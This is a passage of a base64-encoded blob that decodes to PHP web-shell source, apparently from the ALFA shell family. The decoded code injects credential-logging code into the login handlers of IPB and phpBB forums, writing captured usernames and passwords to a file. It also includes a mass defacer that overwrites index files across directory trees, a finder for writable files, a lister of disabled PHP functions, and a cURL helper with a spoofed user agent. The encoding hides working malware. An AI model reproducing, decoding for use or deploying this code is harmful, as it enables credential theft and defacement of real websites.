ZXRvKTsNCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfWVsc2V7DQpoaWphY2tPdXRwdXQoMSk7DQp9DQp9DQpmdW5jdGlvbiBoaWphY2tJUEIoJHBhdGgsJHNhdmV0byl7DQokY29kZSA9ICckQWxmYV9xID0gJHRoaXMtPkRCLT5idWlsZEFuZEZldGNoKGFycmF5KFwnc2VsZWN0XCcgPT4gXCdlbWFpbFwnLCBcJ2Zyb21cJyA9PiBcJ21lbWJlcnNcJywgXCd3aGVyZVwnID0+IFwnbmFtZT0iXCcuJHVzZXJuYW1lLlwnIiBPUiBlbWFpbD0iXCcuJGVtYWlsLlwnIlwnKSk7JEFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAsICRfUE9TVFtcJ2lwc191c2VybmFtZVwnXS5cJyA6IFwnLiRfUE9TVFtcJ2lwc19wYXNzd29yZFwnXS5cJyAoIFwnLiRBbGZhX3FbXCdlbWFpbFwnXS5cJyApXCcuIlxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsNCiRmaW5kID0gJ3Vuc2V0KCAkbWVtYmVyW1wncGxhaW5QYXNzd29yZFwnXSApOyc7DQokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7DQokbG9naW49JHBhdGguIi9hZG1pbi9zb3VyY2VzL2hhbmRsZXJzL2hhbl9sb2dpbi5waHAiOw0KJGV2aWxfbG9naW4gPSAiXHQiLiRmaW5kLiJcblx0Ii4kY29kZTsNCmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsNCiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7DQppZihzdHJzdHIoJGRhdGFfbG9naW4sICRmaW5kKSl7DQokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7DQpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7DQpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsNCn1lbHNlew0KaGlqYWNrT3V0cHV0KDEpOw0KfQ0KfWVsc2V7DQpoaWphY2tPdXRwdXQoMSk7DQp9DQp9DQpmdW5jdGlvbiBoaWphY2tQSFBCQigkcGF0aCwkc2F2ZXRvKXsNCiRjb2RlID0gJyRBbGZhX3UgPSByZXF1ZXN0X3ZhcihcJ3VzZXJuYW1lXCcsIFwnXCcpOyRBbGZhX3AgPSByZXF1ZXN0X3ZhcihcJ3Bhc3N3b3JkXCcsIFwnXCcpO2lmKCRBbGZhX3UgIT0gXCdcJyBBTkQgJEFsZmFfcCAhPSBcJ1wnKXskQWxmYV9yZXNwb25zZSA9ICRhdXRoLT5sb2dpbigkQWxmYV91LCRBbGZhX3ApO2lmKCRBbGZhX3Jlc3BvbnNlW1wnc3RhdHVzXCddID09IExPR0lOX1NVQ0NFU1MpeyRBbGZhX2ZpbGUgPSJ7c2F2ZXRvX3BhdGh9IjskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAsICRBbGZhX3UuIiA6ICIuJEFsZmFfcC4gIiAoICIuJEFsZmFfcmVzcG9uc2VbXCd1c2VyX3Jvd1wnXVtcJ3VzZXJfZW1haWxcJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkQWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fSc7DQokZmluZCA9ICdjYXNlIFwnbG9naW5cJzonOw0KJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOw0KJGxvZ2luPSRwYXRoLiIvdWNwLnBocCI7DQokZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOw0KaWYoQGlzX2ZpbGUoJGxvZ2luKSBBTkQgQGlzX3dyaXRhYmxlKCRsb2dpbikpew0KJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsNCmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsNCiRsb2dpbl9yZXBsYWNlID0gc3RyX3JlcGxhY2UoJGZpbmQsJGV2aWxfbG9naW4sICRkYXRhX2xvZ2luKTsNCkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsNCmhpamFja091dHB1dCgwLCRzYXZldG8pOw0KfWVsc2V7DQpoaWphY2tPdXRwdXQoMSk7DQp9DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn0NCmZ1bmN0aW9uIGhpamFja091dHB1dCgkYz0wLCRwPScnKXtlY2hvKCRjPT0wPyI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+U3VjY2VzczwvZm9udD4gLS0+IHBhdGg6ICRwPC9jZW50ZXI+IjonPGNlbnRlcj48Zm9udCBjb2xvcj0icmVkIj5FcnJvciBpbiBpbmplY3QgY29kZSAhPC9mb250PjwvY2VudGVyPicpO30NCmZ1bmN0aW9uIEFsZmFfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJGUsJGFycj1hcnJheSgpKXsNCmlmKEBpc19kaXIoJGRpcikpew0KJGZpbGVzPUBzY2FuZGlyKCRkaXIpOw0KZm9yZWFjaCgkZmlsZXMgYXMgJGtleSA9PiAkdmFsdWUpew0KJHBhdGg9QHJlYWxwYXRoKCRkaXIuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiR2YWx1ZSk7DQppZighQGlzX2RpcigkcGF0aCkpew0KaWYoJGV4dCE9JyonKXskZiA9IGJhc2VuYW1lKCRwYXRoKTskZiA9IGV4cGxvZGUoJy4nLCRmKTskZiA9IGVuZCgkZik7aWYoJGYhPSRleHQpY29udGludWU7fQ0KaWYoJGU9PSdzdHInKXsNCiRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsNCmlmKHN0cnBvcygkY29udGVudCwgJHN0cmluZykgIT09IGZhbHNlKXsNCmVjaG8gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpIC4gIjxicj4iOw0KfQ0KfWVsc2V7DQppZihzdHJzdHIoJHZhbHVlLCRzdHJpbmcpKXsNCmVjaG8gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpIC4gIjxicj4iOw0KfQ0KfQ0KJHJlc3VsdHNbXSA9ICRwYXRoOw0KfWVsc2VpZigkdmFsdWUgIT0gIi4iICYmICR2YWx1ZSAhPSAiLi4iKSB7DQpBbGZhX1N0clNlYXJjaGVyKCRwYXRoLCRzdHJpbmcsJGV4dCwkZSwkcmVzdWx0cyk7DQokcmVzdWx0c1tdID0gJHBhdGg7DQp9fX19DQpmdW5jdGlvbiBhbGZhc2VhcmNoZXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddPT0nZmlsZScpew0KZWNobyAnPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBGaW5kIFJlYWRhYmxlIE9yIFdyaXRhYmxlIEZpbGVzICB8PC9kaXY+PGJyPjxicj48Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ2ZpbGVcJyx0aGlzLmZpbGVuYW1lLnZhbHVlLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+DQpNZXRob2Q6IDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxOCU7IiBvbmNsaWNrPSJhbGZhX3NlYXJjaGVyX3Rvb2wodGhpcy52YWx1ZSk7IiBuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9ImZpbGVzIj5GaW5kIEFsbCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcnMiPkZpbmQgQWxsIFdyaXRhYmxlIERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkZpbmQgQWxsIFJlYWRhYmxlIEFuZCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjwvc2VsZWN0Pg0KRGlyOiA8aW5wdXQgc2l6ZT0iNTAiIGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9ImZpbGVuYW1lIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+DQpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQokZGlyID0gJF9QT1NUWydhbGZhMiddOw0KJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107DQppZigkX1BPU1RbJ2FsZmE1J109PSc+Picpew0KZWNobyBfX3ByZSgpOw0KaWYoc3Vic3RyKCRkaXIsLTEpPT0nLycpJGRpcj1zdWJzdHIoJGRpciwwLC0xKTsNCkFsZmFfU2VhcmNoZXIoJGRpcix0cmltKCRleHQpLCRtZXRob2QpOw0KfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMSddPT0nc3RyJyl7DQplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij4NCk1ldGhvZDogPHNlbGVjdCBuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9Im5hbWUiPkZpbmQgRmlsZXMgQnkgTmFtZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN0ciI+RmluZCBTdHJpbmcgSW4gRmlsZXM8L29wdGlvbj48L3NlbGVjdD4NClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+DQpEaXI6IDxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+DQpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQokZGlyID0gJF9QT1NUWydhbGZhMiddOw0KJHN0cmluZyA9ICRfUE9TVFsnYWxmYTMnXTsNCiRleHQgPSAkX1BPU1RbJ2FsZmE1J107DQppZighZW1wdHkoJHN0cmluZykgQU5EICFlbXB0eSgkZGlyKSBBTkQgJF9QT1NUWydhbGZhNCddID09ICc+Picpew0KZWNobyBfX3ByZSgpOw0KQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2FsZmE2J10pOw0KfQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFNYXNzRGVmYWNlcigpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oNSw2LDcsOCw5LDEwKTsNCmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7DQplY2hvICc8ZGl2IGNsYXNzPSJ0eHRmb250Ij5EZWZhY2UgTWV0aG9kOiA8c2VsZWN0IG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iaW5kZXgiPkRlZmFjZSBJbmRleCBEaXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgRmlsZXM8L29wdGlvbj48L3NlbGVjdD4NCglNYXNzIGRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXNzZGlyIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4NCjwvZm9ybT4nOw0KJGRpciA9ICRfUE9TVFsnYWxmYTEnXTsNCiRkZWZwYWdlID0gJF9QT1NUWydhbGZhMiddOw0KJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTMnXTsNCiRmQ3VycmVudCA9ICRHTE9CQUxTWydfX2ZpbGVfcGF0aCddOw0KaWYoJF9QT1NUWydhbGZhNCddID09ICc+Picpew0KaWYoIWVtcHR5KCRkaXIpKXsNCmlmKEBpc19kaXIoJGRpcikpew0KaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsNCmlmKEBpc19maWxlKCRkZWZwYWdlKSl7DQppZigkZGggPSBAb3BlbmRpcigkZGlyKSl7DQplY2hvIF9fcHJlKCk7DQp3aGlsZSAoKCRmaWxlID0gQHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKXsNCmlmKCRmaWxlID09ICcuLicgfHwgJGZpbGUgPT0gJy4nKWNvbnRpbnVlOw0KJG5ld2ZpbGU9JGRpci4kZmlsZTsNCmlmKCRmQ3VycmVudCA9PSAkbmV3ZmlsZSljb250aW51ZTsNCmlmKEBpc19kaXIoJG5ld2ZpbGUpKXsNCkFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsNCn1lbHNlew0KaWYoIUBpc193cml0YWJsZSgkbmV3ZmlsZSkpY29udGludWU7DQppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsNCkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7DQp9DQp9DQpjbG9zZWRpcigkZGgpOw0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gT3BlbkRpci4uLjwvZm9udD4nKTt9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQ0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RGlyZWN0b3J5IGlzIG5vdCBSZWFkYWJsZS4uLjwvZm9udD4nKTt9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5NYXNzIERpciBpcyBJbnZhbGlkIERpci4uLjwvZm9udD4nKTt9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIEFsZmFfUmVhZERpcigkZGlyLCRtZXRob2Q9JycsJGRlZnBhZ2U9Jycpew0KaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOw0KaWYgKEBpc19kaXIoJGRpcikpIHsNCmlmICgkZGggPSBAb3BlbmRpcigkZGlyKSkgew0Kd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgew0KaWYoJGZpbGUgPT0gJy4uJyB8fCAkZmlsZSA9PSAnLicpY29udGludWU7DQokbmV3ZmlsZT0kZGlyLicvJy4kZmlsZTsNCmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsNCmlmKEBpc19maWxlKCRuZXdmaWxlKSl7DQppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsNCkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7DQp9DQp9DQpjbG9zZWRpcigkZGgpOw0KfQ0KfQ0KfQ0KZnVuY3Rpb24gQWxmYV9SZXdyaXRlcigkZGlyLCRmaWxlLCRkZWZwYWdlLCRtPSdpbmRleCcpew0KaWYoIUBpc193cml0YWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOw0KaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOw0KJGRlZnBhZ2U9QGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZwYWdlKTsNCmlmKCRtID09ICdpbmRleCcpew0KJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXguanMnKTsNCmlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCRpbmRleHMpKXsNCkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsNCmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsNCn0NCn1lbHNlaWYoJG09PSdhbGwnKXsNCkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsNCmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iICA8Yj48Zm9udCBjb2xvcj0ncmVkJz5EZUZhY2VkLi4uPC9iPjwvZm9udD48YnI+IiA6ICcnOw0KfQ0KfQ0KZnVuY3Rpb24gYWxmYUdldERpc0Z1bmMoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7DQokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOw0KJGYgPSBhcnJheV91bmlxdWUoJHMpOw0KZWNobyAnPGNlbnRlcj48YnI+PGI+PGZvbnQgY29sb3I9IiM3Q0ZDMDAiPkRpc2FibGUgRnVuY3Rpb25zPC9mb250PjwvYj48cHJlPjx0YWJsZSBib3JkZXI9IjEiPjx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTt3aWR0aDo1JSI+IzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBncmVlbjtjb2xvcjogd2hpdGU7Ij5GdW5jIE5hbWU8L3RkPjwvdHI+JzsNCiRpPTE7DQpmb3JlYWNoKCRmIGFzICRzKXsNCiRzPXRyaW0oJHMpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCRzKXx8IWlzX2NhbGxhYmxlKCRzKSljb250aW51ZTsNCmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsiPjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IiB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLicuc3RyX3JlcGxhY2UoJ18nLCctJywkcykuJy5waHAiPjxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+PGI+Jy4kcy4nPC9iPjwvc3Bhbj48L2E+PC90ZD4nOw0KJGkrKzsNCn0NCmVjaG8gJzwvdGFibGU+PC9jZW50ZXI+JzsNCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBBbGZhX0NyZWF0ZV9BX1RhZygkYWN0aW9uLCR2YWxzKXsNCiRudWxscyA9IGFycmF5KCk7DQpmb3JlYWNoKCR2YWxzIGFzICRrZXkgPT4gJHZhbCl7DQplY2hvICc8YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnJy4kYWN0aW9uLidcJywnOw0KZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOw0KJGYgPSBpbXBsb2RlKCcsJywkbnVsbHMpOw0KZWNobyAkZi4nLFwnJy4kdmFsWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+fCAnLiRrZXkuJyB8IDwvYT4nOw0KdW5zZXQoJG51bGxzKTsNCn0NCn0NCmZ1bmN0aW9uIEFsZmFfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgew0KaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsNCmlmKCRtZXRob2QgPT0gJ2FsbCcpJGV4dCA9ICcqJzsNCmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7DQokZ2xvYkZpbGVzID0gQGdsb2IoIiRkaXIvKi4kZXh0Iik7DQokZ2xvYkRpcnMgID0gQGdsb2IoIiRkaXIvKiIsIEdMT0JfT05MWURJUik7DQokYmxhY2tsaXN0ID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRnbG9iRGlycyBhcyAkZGlyKSB7DQppZighQGlzX3JlYWRhYmxlKCRkaXIpKSBjb250aW51ZTsNCkBBbGZhX1NlYXJjaGVyKCRkaXIsICRleHQsICRtZXRob2QpOw0KfQ0Kc3dpdGNoKCRtZXRob2Qpew0KY2FzZSAiZmlsZXMiOg0KZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7DQppZihAaXNfd3JpdGFibGUoJGZpbGUpKXsNCmVjaG8gIiRmaWxlPGJyPiI7DQp9DQp9DQpicmVhazsNCmNhc2UgImRpcnMiOg0KZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7DQppZihAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZSkpICYmICFpbl9hcnJheShkaXJuYW1lKCRmaWxlKSwgJGJsYWNrbGlzdCkpew0KZWNobyBkaXJuYW1lKCRmaWxlKS4nPGJyPic7DQokYmxhY2tsaXN0W10gPSBkaXJuYW1lKCRmaWxlKTsNCn0NCn0NCmJyZWFrOw0KY2FzZSAiYWxsIjoNCmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpew0KZWNobyAkZmlsZS4nPGJyPic7DQp9DQpicmVhazsNCn0NCnVuc2V0KCRibGFja2xpc3QpOw0KfQ0KfQ0KZnVuY3Rpb24gQWxmYWlGcmFtZUNyZWF0b3IoJGYsJHdpZHRoPScxMDAlJywkaGVpZ2h0PSc2MDBweCcpew0KcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy4kZi4nIiB3aWR0aD0iJy4kd2lkdGguJyIgaGVpZ2h0PSInLiRoZWlnaHQuJyIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPicpOw0KfQ0KY2xhc3MgQWxmYUNVUkwgew0KcHVibGljICRoZWFkZXJzOw0KcHVibGljICR1c2VyX2FnZW50Ow0KcHVibGljICRjb21wcmVzc2lvbjsNCnB1YmxpYyAkY29va2llX2ZpbGU7DQpwdWJsaWMgJHByb3h5Ow0KcHVibGljICRwYXRoOw0KcHVibGljICRzc2wgPSBmYWxzZTsNCnB1YmxpYyAkY3VybF9zdGF0dXMgPSB0cnVlOw0KZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGNvb2tpZXM9ZmFsc2UsJGNvbXByZXNzaW9uPSdnemlwJywkcHJveHk9Jycpew0KaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30NCiR0aGlzLT5oZWFkZXJzW10gPSAnQWNjZXB0OiBpbWFnZS9naWYsIGltYWdlL3gtYml0bWFwLCBpbWFnZS9qcGVnLCBpbWFnZS9wanBlZyc7DQokdGhpcy0+aGVhZGVyc1tdID0gJ0Nvbm5lY3Rpb246IEtlZXAtQWxpdmUnOw0KJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsNCiR0aGlzLT51c2VyX2FnZW50ID0gJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMDsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDEuMC4zNzA1OyAuTkVUIENMUiAxLjEuNDMyMjsgTWVkaWEgQ2VudGVyIFBDIDQuMCknOw0KJHRoaXMtPnBhdGggPSBBTEZBX1RFTVBESVIuJy9BbGZhX2Nvb2tpZXMudHh0JzsNCiR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247DQokdGhpcy0+cHJveHk9JHByb3h5Ow0KJHRoaXMtPmNvb2tpZXM9JGNvb2tpZXM7DQppZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsNCn0NCmZ1bmN0aW9uIGNvb2tpZSgkY29va2llX2ZpbGUpIHsNCmlmIChfYWxmYV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpKSB7DQokdGhpcy0+Y29va2llX2ZpbGU9JGNvb2tpZV9maWxlOw0KfWVsc2V7DQpAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOw0KJHRoaXMtPmNvb2tpZV9maWxlPSRjb29raWVfZmlsZTsNCkBmY2xvc2UoJHRo